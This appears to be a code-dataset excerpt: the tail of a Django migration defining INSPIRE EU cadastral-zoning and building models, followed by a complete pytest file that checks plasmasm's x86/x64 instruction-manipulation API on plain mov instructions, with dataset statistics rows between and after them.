('begin_lifespan_version', models.DateTimeField(help_text='Registered area value giving quantification of the area projected on the horizontal plane of the cadastral parcel.')),
('end_lifespan_version', models.DateTimeField(blank=True, help_text='Date and time at which this version of the spatial object was superseded or retired in the spatial data set.', null=True)),
('estimated_accuracy', models.FloatField(blank=True, help_text='The estimated absolute positional accuracy of cadastral parcels within the cadastral zoning in the used INSPIRE coordinate reference system. Absolute positional accuracy is the mean value of the positional uncertainties for a set of positions, where the positional uncertainties are the distance between a measured position and what is considered as the corresponding true position.')),
('geometry', django.contrib.gis.db.models.fields.MultiPolygonField(blank=True, help_text='Geometry of the cadastral zoning.', null=True, srid=4326)),
('label', models.CharField(blank=True, help_text='Text commonly used to display the cadastral zoning identification.', max_length=32)),
('name', models.CharField(blank=True, help_text='Name of the cadastral zoning.', max_length=24)),
('national_cadastal_zoning_reference', models.CharField(blank=True, help_text='Text commonly used to display the cadastral zoning identification.', max_length=32)),
('area_value', models.IntegerField(blank=True, help_text='Registered area value giving quantification of the area projected on the horizontal plane of the cadastral parcel.', null=True)),
('original_map_scale_denominator', models.SmallIntegerField(blank=True, help_text='The denominator in the scale of the original paper map (if any) to whose extent the cadastral zoning corresponds.', null=True)),
('valid_from', models.DateTimeField(blank=True, help_text='Official date and time the cadastral zoning was/will be legally established.', null=True)),
('valid_to', models.DateTimeField(blank=True, help_text='Date and time at which the cadastral zoning legally ceased/will cease to be used.', null=True)),
('reference_point', django.contrib.gis.db.models.fields.PointField(blank=True, help_text='A point within the cadastral zoning. EXAMPLE The centroid of the cadastral zoneing geometry.', null=True, srid=4326)),
('area_value_uom', models.ForeignKey(blank=True, limit_choices_to={'measure_type': 'area'}, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_cadastralzoning_area_value_uom', related_query_name='inspire_eu_cadastralzoning_area_value_uoms', to='inspire_eu.UnitOfMeasure')),
('estimated_accuracy_uom', models.ForeignKey(blank=True, help_text='Value of estimatedAccuracy shall be given in meters', limit_choices_to={'measure_type': 'area'}, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_cadastralzoning_estimated_accuracy_uom', related_query_name='inspire_eu_cadastralzoning_estimated_accuracy_uoms', to='inspire_eu.UnitOfMeasure')),
('level', models.ForeignKey(blank=True, help_text='Level of the cadastral zoning in the national cadastral hierarchy.', limit_choices_to={'code_list__code': 'LevelValue'}, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_cadastralzoning_level', related_query_name='inspire_eu_cadastralzoning_levels', to='inspire_eu.CodeListValue')),
('namespace', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_cadastralzoning_namespace', related_query_name='inspire_eu_cadastralzoning_namespaces', to='inspire_eu.Namespace')),
('upper_level_unit', models.ForeignKey(blank=True, help_text='Level of the cadastral zoning in the national cadastral hierarchy.', null=True, on_delete=django.db.models.deletion.PROTECT, to='inspire_eu.CadastralZoning')),
],
options={
'verbose_name': 'Cadastral Zoning',
'verbose_name_plural': 'Cadastral Zonings',
},
),
migrations.AddField(
model_name='cadastralparcel',
name='area_value_uom',
field=models.ForeignKey(blank=True, limit_choices_to={'measure_type': 'area'}, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_cadastralparcel_area_value_uom', related_query_name='inspire_eu_cadastralparcel_area_value_uoms', to='inspire_eu.UnitOfMeasure'),
),
migrations.AddField(
model_name='cadastralparcel',
name='cadastral_zoning',
field=models.ForeignKey(blank=True, help_text='Cadastral Zoning', null=True, on_delete=django.db.models.deletion.PROTECT, to='inspire_eu.CadastralZoning'),
),
migrations.AddField(
model_name='cadastralparcel',
name='namespace',
field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_cadastralparcel_namespace', related_query_name='inspire_eu_cadastralparcel_namespaces', to='inspire_eu.Namespace'),
),
migrations.CreateModel(
name='BuildingNature',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('building', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='inspire_eu.Building')),
('nature', models.ForeignKey(help_text='Characteristic of the building that makes it generally of interest for mappings applications. The characteristic may be related to the physical aspect and/or to the function of the building.<br />This attribute focuses on the physical aspect of the building; however, this physical aspect is often expressed as a function (e.g. stadium, silo, windmill); this attribute aims to fulfil mainly mapping purposes and addresses only specific, noticeable buildings.', limit_choices_to={'code_list__code': 'BuildingNatureValue'}, on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_buildingnature_nature', related_query_name='inspire_eu_buildingnature_natures', to='inspire_eu.CodeListValue')),
],
options={
'verbose_name': 'Building Nature',
'verbose_name_plural': 'Building Natures',
'ordering': ['building', 'nature'],
},
),
migrations.CreateModel(
name='BuildingHeightAboveGround',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('value', models.SmallIntegerField(help_text='Value of the height above ground')),
('building', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='inspire_eu.Building')),
('height_reference', models.ForeignKey(help_text='Element used as the high reference.<br />EXAMPLE: The height of the building has been captured up to the top of building.', limit_choices_to={'code_list__code': 'ElevationReferenceValue'}, on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_buildingheightaboveground_height_reference', related_query_name='inspire_eu_buildingheightaboveground_height_references', to='inspire_eu.CodeListValue')),
('low_reference', models.ForeignKey(help_text='Element as the low reference.<br />EXAMPLE: The height of the building has been captured from its the lowest ground point.', limit_choices_to={'code_list__code': 'ElevationReferenceValue'}, on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_buildingheightaboveground_low_reference', related_query_name='inspire_eu_buildingheightaboveground_low_references', to='inspire_eu.CodeListValue')),
('status', models.ForeignKey(help_text='The way the height has been captured.', limit_choices_to={'code_list__code': 'HeightStatusValue'}, on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_buildingheightaboveground_height_status', related_query_name='inspire_eu_buildingheightaboveground_s_height_statuss', to='inspire_eu.CodeListValue')),
],
options={
'verbose_name': 'Building Height Above Ground',
'verbose_name_plural': 'Building Heights Above Ground',
'ordering': ['building', 'height_reference'],
},
),
migrations.CreateModel(
name='BuildingGeographicalName',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('language', models.CharField(blank=True, help_text='Language of the name, given as a three letters code, in accordance with either ISO 639-3 or ISO 639-5.', max_length=64)),
('source_of_name', models.CharField(blank=True, help_text='Original data source from which the geographical name is taken from and integrated in the data set providing/publishing it. For some named spatial objects it might refer again to the publishing data set if no other information is available.', max_length=64)),
('pronunciation', models.CharField(blank=True, help_text='Proper, correct or standard (standard within the linguistic community concerned) pronunciation of the geographical name.', max_length=64)),
('spelling', models.CharField(blank=True, help_text='A proper way of writing the geographical name.', max_length=64)),
('building', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='inspire_eu.Building')),
('grammatical_gender', models.ForeignKey(blank=True, help_text='Class of nouns reflected in the behavior of associated words.', limit_choices_to={'code_list__code': 'GrammaticalGenderValue'}, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_buildinggeographicalname_grammatical_gender', related_query_name='inspire_eu_buildinggeographicalname_grammatical_genders', to='inspire_eu.CodeListValue')),
('grammatical_number', models.ForeignKey(blank=True, help_text='Grammatical category of nouns that expresses count distinctions.', limit_choices_to={'code_list__code': 'GrammaticalNumberValue'}, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_buildinggeographicalname_grammatical_number', related_query_name='inspire_eu_buildinggeographicalname_grammatical_numbers', to='inspire_eu.CodeListValue')),
('name_status', models.ForeignKey(blank=True, help_text='Qualitative information enabling to discern which credit should be given to the name with respect to its standardization and/or its topicality.', limit_choices_to={'code_list__code': 'NameStatusValue'}, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_buildinggeographicalname_name_status', related_query_name='inspire_eu_buildinggeographicalname_name_statuss', to='inspire_eu.CodeListValue')),
('nativeness', models.ForeignKey(blank=True, help_text='Information enabling to acknowledge if the name is the one that is/was used in the area where the spatial object is situated at the instant when the name is/was in use.', limit_choices_to={'code_list__code': 'NativenessValue'}, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_buildinggeographicalname_nativeness', related_query_name='inspire_eu_buildinggeographicalname_nativenesss', to='inspire_eu.CodeListValue')),
],
options={
'verbose_name': 'Geographical Name',
'verbose_name_plural': 'Geographical Names',
'ordering': ['building', 'source_of_name'],
},
),
migrations.CreateModel(
name='BuildingExternalReference',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('information_system', models.URLField(help_text='Uniform Resource Identifier of the external information system')),
('information_system_name', models.CharField(blank=True, help_text='The name of the external information systemEXAMPLES: Danish Register of Dwellings, Spanish Cadastre', max_length=32)),
('reference', models.CharField(help_text='Thematic identifier of the spatial object or of any piece of information related to the spatial object.<br />NOTE: This reference will act as a foreign key to implement the association between the spatial object in the INSPIRE data set and in the external information system<br />EXAMPLE: The cadastral reference of a given building in the national cadastral register.', max_length=24)),
('building', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='inspire_eu.Building')),
],
options={
'verbose_name': 'Building External Reference',
'verbose_name_plural': 'Building External References',
'ordering': ['building', 'reference'],
},
),
migrations.CreateModel(
name='BuildingElevation',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('value', models.FloatField(blank=True, help_text='Vertically-constrained dimensional property consisting of an absolute measure referenced to a well-defined surface which is commonly taken as origin (geoïd, water level, etc.).<br />Source: adapted from the definition given in the data specification of the theme Elevation.')),
('coordinate', django.contrib.gis.db.models.fields.PointField(blank=True, null=True, srid=4326)),
('dimension', models.IntegerField(blank=True, null=True)),
('building', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='inspire_eu.Building')),
('reference', models.ForeignKey(help_text='Element where the elevation was measured.', limit_choices_to={'code_list__code': 'ElevationReferenceValue'}, on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_buildingelevation_elevation_reference', related_query_name='inspire_eu_buildingelevation_elevation_references', to='inspire_eu.CodeListValue')),
('value_uom', models.ForeignKey(blank=True, help_text='Value of Elevation shall be given in meters', on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_buildingelevation_value_uom', related_query_name='inspire_eu_buildingelevation_value_uoms', to='inspire_eu.UnitOfMeasure')),
],
options={
'verbose_name': 'Building Elevation',
'verbose_name_plural': 'Building Elevations',
'ordering': ['building', 'dimension'],
},
),
migrations.CreateModel(
name='BuildingDocument',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('document_link', models.URLField(help_text='The Internet address where the document may be found.')),
('date', models.DateTimeField(blank=True, help_text='Date of validity of the document', null=True)),
('document_description', models.TextField(blank=True, help_text='A short text providing overview of the document content. May be just title of the document')),
('building', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='inspire_eu.Building')),
('source_status', models.ForeignKey(help_text='The status of the document, i.e. this attribute indicates if the document comes from official source or not', limit_choices_to={'code_list__code': 'SourceStatusValue'}, on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_buildingdocument_source_status', related_query_name='inspire_eu_buildingdocument_source_statuss', to='inspire_eu.CodeListValue')),
],
options={
'verbose_name': 'Building Document',
'verbose_name_plural': 'Building Documents',
'ordering': ['building', 'document_link'],
},
),
migrations.CreateModel(
name='BuildingCurrentUse',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('percentage', models.SmallIntegerField(blank=True, help_text='The proportion of the real world object, given as a percentage, devoted to this current use. <br />NOTE: The percentage of use is generally the percentage of floor area dedicated to this given use. If it is not the case, it is recommended to explain what the percentage refers to in metadata (template for additional information)', null=True)),
('building', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='inspire_eu.Building')),
('current_use', models.ForeignKey(help_text='Current use', limit_choices_to={'code_list__code': 'CurrentUseValue'}, on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_buildingcurrentuse_current_use', related_query_name='inspire_eu_buildingcurrentuse_current_uses', to='inspire_eu.CodeListValue')),
],
options={
'verbose_name': 'Building Current Use',
'verbose_name_plural': 'Building Current Uses',
'ordering': ['building', 'current_use'],
},
),
migrations.AddField(
model_name='building',
name='cadastral_parcels',
field=models.ManyToManyField(to='inspire_eu.CadastralParcel'),
),
migrations.AddField(
model_name='building',
name='condition_of_construction',
field=models.ForeignKey(help_text='Status of the construction.<br />EXAMPLES: functional, projected, ruin', limit_choices_to={'code_list__code': 'ConditionOfConstructionValue'}, on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_building_condition_of_construction', related_query_name='inspire_eu_building_condition_of_constructions', to='inspire_eu.CodeListValue'),
),
migrations.AddField(
model_name='building',
name='height_below_ground_uom',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_building_height_below_ground_uom', related_query_name='inspire_eu_building_height_below_ground_uoms', to='inspire_eu.UnitOfMeasure'),
),
migrations.AddField(
model_name='building',
name='horizontal_geometry_estimated_accuracy_uom',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_building_horizontal_geometry_estimated_accuracy_uom', related_query_name='inspire_eu_building_horizontal_geometry_estimated_accuracy_uoms', to='inspire_eu.UnitOfMeasure'),
),
migrations.AddField(
model_name='building',
name='horizontal_geometry_reference',
field=models.ForeignKey(help_text='Element of the building that was captured by (X,Y) coordinates.', limit_choices_to={'code_list__code': 'HorizontalGeometryReferenceValue'}, on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_building_horizontal_geometry_reference', related_query_name='inspire_eu_building_horizontal_geometry_references', to='inspire_eu.CodeListValue'),
),
migrations.AddField(
model_name='building',
name='namespace',
field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_building_namespace', related_query_name='inspire_eu_building_namespaces', to='inspire_eu.Namespace'),
),
migrations.AddField(
model_name='building',
name='parent',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='parts', to='inspire_eu.Building'),
),
migrations.AddField(
model_name='building',
name='vertical_geometry_estimated_accuracy_uom',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_building_vertical_geometry_estimated_accuracy_uom', related_query_name='inspire_eu_building_vertical_geometry_estimated_accuracy_uoms', to='inspire_eu.UnitOfMeasure'),
),
migrations.AddField(
model_name='building',
name='vertical_geometry_reference',
field=models.ForeignKey(blank=True, help_text='Element of the building that was captured by vertical coordinates.', limit_choices_to={'code_list__code': 'ElevationReferenceValue'}, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='inspire_eu_building_vertical_geometry_reference', related_query_name='inspire_eu_building_vertical_geometry_references', to='inspire_eu.CodeListValue'),
),
migrations.AddField(
model_name='applicationschema',
name='status',
field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='inspire_eu.Status'),
),
migrations.AddField(
model_name='applicationschema',
name='themes',
field=models.ManyToManyField(to='inspire_eu.Theme'),
),
]
| 106.641425 | 1,115 | 0.701224 | 5,901 | 47,882 | 5.521098 | 0.104897 | 0.029558 | 0.027993 | 0.039134 | 0.726366 | 0.701811 | 0.63628 | 0.604266 | 0.584469 | 0.562676 | 0 | 0.006805 | 0.195898 | 47,882 | 448 | 1,116 | 106.879464 | 0.839385 | 0.000961 | 0 | 0.553288 | 1 | 0.0839 | 0.513359 | 0.102814 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.006803 | 0 | 0.015873 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
fff4e15c761650bcc97bf7ac4bfb14390de89a62 | 12,310 | py | Python | non_regression/test_lineapi.py | LRGH/plasmasm | 4cd50546c3dc895763d72dd60b7c46179c1916bc | [
"Apache-2.0"
] | 1 | 2021-02-28T21:31:18.000Z | 2021-02-28T21:31:18.000Z | non_regression/test_lineapi.py | LRGH/plasmasm | 4cd50546c3dc895763d72dd60b7c46179c1916bc | [
"Apache-2.0"
] | null | null | null | non_regression/test_lineapi.py | LRGH/plasmasm | 4cd50546c3dc895763d72dd60b7c46179c1916bc | [
"Apache-2.0"
] | null | null | null | # Copyright (C) 2011-2020 Airbus, Louis.Granboulan@airbus.com
try:
import pytest
except:
from run_tests import pytest
import sys, os.path
basedir = os.path.dirname(os.path.dirname(__file__))
sys.path.append(basedir)
from plasmasm.analyze_file import File
# To be able to import elfesteem in the parent directory, with python3
sys.path.append(os.path.dirname(basedir)+'/elfesteem')
pool = File()
i_list = []
from plasmasm.arch import I386_MIASM
def i_x86_miasm(s):
I386_MIASM.Instruction.set_asm_format('intel_syntax noprefix')
return I386_MIASM.Instruction(pool).from_txt(s, asm_format='att_syntax')
def i_x86_amoco(s):
I386_AMOCO.Instruction.set_asm_format('intel_syntax noprefix')
return I386_AMOCO.Instruction(pool).from_txt(s)
def i_x64_amoco(s):
return X64_AMOCO.Instruction(pool).from_txt(s)
i_list.append(i_x86_miasm)
if not (sys.version_info[0] == 2 and sys.version_info[1] <= 6):
from plasmasm.arch import I386_AMOCO, X64_AMOCO
i_list.append(i_x86_amoco)
i_list.append(i_x64_amoco)
fmt_a = {'asm_format':'att_syntax'}
fmt_i = {'asm_format':'intel_syntax noprefix'}
def test_api_is_address(instruction):
l = instruction("movl %eax, %ebx")
assert l.txt(**fmt_i) == 'mov ebx, eax'
assert l.txt(**fmt_a) == 'movl %eax, %ebx'
assert l.api_is_address(0) == False
assert l.api_is_address(1) == False
l = instruction("movl (%eax), %ebx")
assert l.txt(**fmt_i) == 'mov ebx, DWORD PTR [eax]'
assert l.txt(**fmt_a) == 'movl (%eax), %ebx'
assert l.api_is_address(0) == False
if instruction is i_x86_miasm:
assert l.api_is_address(1) == 'u32'
else:
assert l.api_is_address(1) == True
if instruction is i_x64_amoco:
l = instruction("movl (%rip), %ebx")
assert l.txt() == 'movl (%rip), %ebx'
assert l.api_is_address(0) == False
assert l.api_is_address(1) == True
test_api_is_address = pytest.mark.parametrize("instruction", i_list)(test_api_is_address)
def test_api_is_arg_size(instruction):
l = instruction("movb %ah, %bh")
assert l.api_is_arg_size(0, 8) == True
assert l.api_is_arg_size(0, 16) == False
assert l.api_is_arg_size(0, 32) == False
assert l.api_is_arg_size(0, 64) == False
l = instruction("movw %ax, %bx")
assert l.api_is_arg_size(0, 8) == False
assert l.api_is_arg_size(0, 16) == True
assert l.api_is_arg_size(0, 32) == False
assert l.api_is_arg_size(0, 64) == False
l = instruction("movl %eax, %ebx")
assert l.api_is_arg_size(0, 8) == False
assert l.api_is_arg_size(0, 16) == False
assert l.api_is_arg_size(0, 32) == True
assert l.api_is_arg_size(0, 64) == False
l = instruction("movl (%eax), %ebx")
assert l.api_is_arg_size(0, 32) == True
assert l.api_is_reg_size(0, 32) == True
assert l.api_is_reg_size(1, 32) == False
if instruction is i_x64_amoco:
l = instruction("movq %rax, %rbx")
assert l.api_is_arg_size(0, 8) == False
assert l.api_is_arg_size(0, 16) == False
assert l.api_is_arg_size(0, 32) == False
assert l.api_is_arg_size(0, 64) == True
test_api_is_arg_size = pytest.mark.parametrize("instruction", i_list)(test_api_is_arg_size)
# NB: we can use str.format, which is only available since python2.6,
# because pytest needs python2.6 too.
def test_api_same_base_reg(instruction):
if instruction is i_x64_amoco: p = 'r'
else: p = 'e'
l = instruction("movl (%{0}ax), %{0}bx".format(p))
m = instruction("movl (%{0}ax), %{0}ax".format(p))
assert l.api_same_base_reg(1, m) == True
m = instruction("movl (%{0}cx), %{0}dx".format(p))
assert l.api_same_base_reg(1, m) == False
if instruction is i_x64_amoco:
m = instruction("movl (%eax), %rax")
assert l.api_same_base_reg(1, m) == False
test_api_same_base_reg = pytest.mark.parametrize("instruction", i_list)(test_api_same_base_reg)
def test_api_is_reg_in_arg(instruction):
if instruction is i_x64_amoco: p = { 'a': 'rax', 'b': 'rbx' }
else: p = { 'a': 'eax', 'b': 'ebx' }
l = instruction("movl (%{a}), %{b}".format(**p))
assert l.api_is_reg_in_arg(0, '{b}'.format(**p)) == True
assert l.api_is_reg_in_arg(1, '{a}'.format(**p)) == True
assert l.api_is_reg_in_arg(1, '{b}'.format(**p)) == False
assert l.api_is_reg_in_arg(1, '0') == False
assert l.api_is_reg_in_arg(0, 'mm1') == False
test_api_is_reg_in_arg = pytest.mark.parametrize("instruction", i_list)(test_api_is_reg_in_arg)
def test_api_get_label(instruction):
if instruction is i_x64_amoco: p = 'r'
else: p = 'e'
if instruction is i_x86_miasm:
toto = pool.find_symbol(name = 'toto')
tata = pool.find_symbol(name = 'tata')
else:
toto = 'toto'
tata = 'tata'
l = instruction("movl (%{0}ax), %ebx".format(p))
assert l.api_get_label(1) == (None, None)
l = instruction("movl toto(%{0}ax), %ebx".format(p))
assert l.api_get_label(1) == (toto, None)
l = instruction("movl toto-tata(%{0}ax), %ebx".format(p))
assert l.api_get_label(1) == (toto, tata)
test_api_get_label = pytest.mark.parametrize("instruction", i_list)(test_api_get_label)
def test__api_add_reg(instruction):
if instruction is i_x64_amoco: p = { 'a': 'rax', 'b': 'rbx' }
else: p = { 'a': 'eax', 'b': 'ebx' }
l = instruction("movl %eax, (%{b})".format(**p))
l.api_add_reg(0, p['a'])
assert l.txt(**fmt_i) == 'mov DWORD PTR [{a}+{b}], eax'.format(**p)
assert l.txt(**fmt_a) == 'movl %eax, (%{a},%{b})'.format(**p)
l = instruction("movl %eax, (%{b})".format(**p))
l.api_add_reg(0, p['a'], last=True)
assert l.txt(**fmt_i) == 'mov DWORD PTR [{b}+{a}], eax'.format(**p)
assert l.txt(**fmt_a) == 'movl %eax, (%{b},%{a})'.format(**p)
if instruction is not i_x64_amoco:
l = instruction("movl %eax, (%esp)")
l.api_add_reg(0, p['a'])
assert l.txt(**fmt_i) == 'mov DWORD PTR [esp+eax], eax'.format(**p)
l = instruction("movl %eax, toto")
l.api_add_reg(0, p['a'])
assert l.txt(**fmt_i) == 'mov DWORD PTR toto[{a}], eax'.format(**p)
assert l.txt(**fmt_a) == 'movl %eax, toto(%{a})'.format(**p)
l = instruction("movl %eax, 0x20")
l.api_add_reg(0, p['a'])
assert l.txt(**fmt_i) == 'mov DWORD PTR [{a}+32], eax'.format(**p)
assert l.txt(**fmt_a) == 'movl %eax, 32(%{a})'.format(**p)
l = instruction("movl %eax, toto+1")
l.api_add_reg(0, p['a'])
assert l.txt(**fmt_i) == 'mov DWORD PTR toto[{a}+1], eax'.format(**p)
assert l.txt(**fmt_a) == 'movl %eax, toto+1(%{a})'.format(**p)
l = instruction("movl %eax, (%{a})".format(**p))
l.api_add_reg(0, p['a'])
if instruction is i_x86_miasm:
assert l.txt(**fmt_i) == 'mov DWORD PTR [0+{a}*2], eax'.format(**p)
assert l.txt(**fmt_a) == 'movl %eax, 0(,%{a},2)'.format(**p)
else:
assert l.txt(**fmt_i) == 'mov DWORD PTR [{a}+{a}], eax'.format(**p)
assert l.txt(**fmt_a) == 'movl %eax, (%{a},%{a})'.format(**p)
l = instruction("movl %eax, (%{a},%{a})".format(**p))
l.api_add_reg(0, p['a'])
assert l.txt(**fmt_i) == 'mov DWORD PTR [{a}+{a}*2], eax'.format(**p)
assert l.txt(**fmt_a) == 'movl %eax, (%{a},%{a},2)'.format(**p)
test__api_add_reg = pytest.mark.parametrize("instruction", i_list)(test__api_add_reg)
def test_api_replace_reg(instruction):
if instruction is i_x64_amoco: p = {'a':'rax','b':'rbx','c':'rcx','d':'rdx'}
else: p = {'a':'eax','b':'ebx','c':'ecx','d':'edx'}
l = instruction("movl %eax, (%{b})".format(**p))
l.api_replace_reg('eax', 'edx')
assert l.txt(**fmt_i) == 'mov DWORD PTR [{b}], edx'.format(**p)
assert l.txt(**fmt_a) == 'movl %edx, (%{b})'.format(**p)
l.api_replace_reg(p['b'], p['c'])
assert l.txt(**fmt_i) == 'mov DWORD PTR [{c}], edx'.format(**p)
assert l.txt(**fmt_a) == 'movl %edx, (%{c})'.format(**p)
if instruction is i_x64_amoco:
l = instruction("movl %eax, (%{a})".format(**p))
l.api_replace_reg(p['a'], p['d'])
assert l.txt(**fmt_i) == 'mov DWORD PTR [{d}], eax'.format(**p)
assert l.txt(**fmt_a) == 'movl %eax, (%{d})'.format(**p)
l = instruction("movl %{a}, (%{a})".format(**p))
l.api_replace_reg(p['a'], p['d'])
assert l.txt(**fmt_i) == 'mov DWORD PTR [{d}], {d}'.format(**p)
assert l.txt(**fmt_a) == 'movl %{d}, (%{d})'.format(**p)
l = instruction("movl %ebx, (,%{a},2)".format(**p))
l.api_replace_reg(p['a'], p['d'])
assert l.txt(**fmt_i) == 'mov DWORD PTR [0+{d}*2], ebx'.format(**p)
l = instruction("movl %ebx, (%{c},%{a})".format(**p))
l.api_replace_reg(p['a'], p['d'])
assert l.txt(**fmt_i) == 'mov DWORD PTR [{c}+{d}], ebx'.format(**p)
l = instruction("movl %ebx, (%{c},%{a},2)".format(**p))
l.api_replace_reg(p['a'], p['d'])
assert l.txt(**fmt_i) == 'mov DWORD PTR [{c}+{d}*2], ebx'.format(**p)
assert l.txt(**fmt_a) == 'movl %ebx, (%{c},%{d},2)'.format(**p)
test_api_replace_reg = pytest.mark.parametrize("instruction", i_list)(test_api_replace_reg)
def test_api_set_imm_label(instruction):
if instruction is i_x64_amoco: p = { 'b': 'rbx' }
else: p = { 'b': 'ebx' }
toto = pool.find_symbol(name = 'toto')
tata = pool.find_symbol(name = 'tata')
l = instruction("movl %eax, (%{b})".format(**p))
l.api_set_imm_label(0, 10)
assert l.txt(**fmt_i) == 'mov DWORD PTR [{b}-10], eax'.format(**p)
assert l.txt(**fmt_a) == 'movl %eax, -10(%{b})'.format(**p)
l = instruction("movl %eax, (%{b})".format(**p))
l.api_set_imm_label(0, 10, label=toto)
assert l.txt(**fmt_i) == 'mov DWORD PTR toto[{b}-10], eax'.format(**p)
assert l.txt(**fmt_a) == 'movl %eax, toto-10(%{b})'.format(**p)
l.api_set_imm_label(0, 10, label=False)
assert l.txt(**fmt_i) == 'mov DWORD PTR [{b}-20], eax'.format(**p)
assert l.txt(**fmt_a) == 'movl %eax, -20(%{b})'.format(**p)
l.api_set_imm_label(0, -20)
assert l.txt(**fmt_i) == 'mov DWORD PTR [{b}], eax'.format(**p)
assert l.txt(**fmt_a) == 'movl %eax, (%{b})'.format(**p)
l = instruction("movl %eax, (%{b})".format(**p))
l.api_set_imm_label(0, 10, label=toto, label_dif=tata)
if instruction is i_x86_miasm:
# Needed to be accepted by clang-900
assert l.txt(**fmt_i) == 'mov DWORD PTR [{b} + toto-tata-10], eax'.format(**p)
else:
# TODO: patch amoco
assert l.txt(**fmt_i) == 'mov DWORD PTR toto-tata[{b}-10], eax'.format(**p)
assert l.txt(**fmt_a) == 'movl %eax, toto-tata-10(%{b})'.format(**p)
l = instruction("movl %eax, %ds:20")
assert l.txt(**fmt_i) == 'mov DWORD PTR ds:20, eax'
assert l.txt(**fmt_a) == 'movl %eax, %ds:20'
l.api_set_imm_label(0, 10, label=False)
assert l.txt(**fmt_i) == 'mov DWORD PTR ds:10, eax'
assert l.txt(**fmt_a) == 'movl %eax, %ds:10'
l = instruction("movl %eax, 20")
assert l.txt(**fmt_i) == 'mov DWORD PTR 20, eax'
assert l.txt(**fmt_a) == 'movl %eax, 20'
l.api_set_imm_label(0, 10, label=False)
assert l.txt(**fmt_i) == 'mov DWORD PTR 10, eax'
assert l.txt(**fmt_a) == 'movl %eax, 10'
l = instruction("movl %eax, toto")
l.api_set_imm_label(0, 10, label=False)
assert l.txt(**fmt_i) == 'mov DWORD PTR -10, eax'
assert l.txt(**fmt_a) == 'movl %eax, -10'
l = instruction("movl %eax, toto(%{b})".format(**p))
l.api_set_imm_label(0, 10, label=False)
assert l.txt(**fmt_i) == 'mov DWORD PTR [{b}-10], eax'.format(**p)
assert l.txt(**fmt_a) == 'movl %eax, -10(%{b})'.format(**p)
l = instruction("movl $20, %eax")
assert l.txt(**fmt_i) == 'mov eax, 20'
l.api_set_imm_label(1, 10, label=toto)
assert l.txt(**fmt_i) == 'mov eax, OFFSET FLAT:toto+10'
assert l.txt(**fmt_a) == 'movl $toto+10, %eax'
test_api_set_imm_label = pytest.mark.parametrize("instruction", i_list)(test_api_set_imm_label)
| 49.043825 | 95 | 0.582778 | 2,025 | 12,310 | 3.341728 | 0.077037 | 0.10034 | 0.088666 | 0.113344 | 0.834786 | 0.762081 | 0.725432 | 0.689079 | 0.642678 | 0.470666 | 0 | 0.029066 | 0.21186 | 12,310 | 250 | 96 | 49.24 | 0.668419 | 0.023152 | 0 | 0.34188 | 0 | 0 | 0.226494 | 0 | 0 | 0 | 0.000333 | 0.004 | 0.41453 | 1 | 0.047009 | false | 0 | 0.025641 | 0.004274 | 0.08547 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
